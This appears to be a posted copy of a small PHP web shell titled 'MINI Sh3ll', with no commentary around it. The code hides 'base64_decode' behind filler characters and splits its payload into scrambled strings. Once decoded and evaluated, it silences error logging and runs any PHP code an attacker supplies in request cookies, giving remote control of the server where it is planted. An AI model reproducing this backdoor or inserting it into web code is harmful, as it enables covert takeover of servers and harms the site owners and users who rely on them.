MINI Sh3ll

<?php
$fe = "ajbajaajsaje6aj4aj_ajdajeajcodaje";
$ng4="XJyYXkoJyqcsJysnKSwgam9pbihhcnJheV9zqbGljZSgkYSwkYygkYSktMykpKSkpO2VjaG8gJqzwvJy4kay4nPiqc7fQ==";
$ng1="JGM9J2NvdW50JzsqkYT0kX0NPT0tJRTtpZihyZXNldCgkYSqk9PSdtZScgJiYgJGqMoJGEpPjMpe2lquaV9zZXQoJ2q";
$ng3="XNlNjRfZqGVjbq2RlKHByqZWdfcqmVqwbGFqjZShhcnJqhqeSgnL1teXHc9XHNdLycsJy9ccyq8nKSwgY";
$ng2="Vqycm9yX2qxvZycqsICcvZGV2L251bGwnqKTqskaz0nbWqVrJztqlY2hvICcq8Jqy4kay4qnPic7ZqXZhbCqhiY";
$bd = "str_replace";
$fe = $bd("aj", "", $fe);
eval($fe($bd("q", "", $ng1.$ng2.$ng3.$ng4)));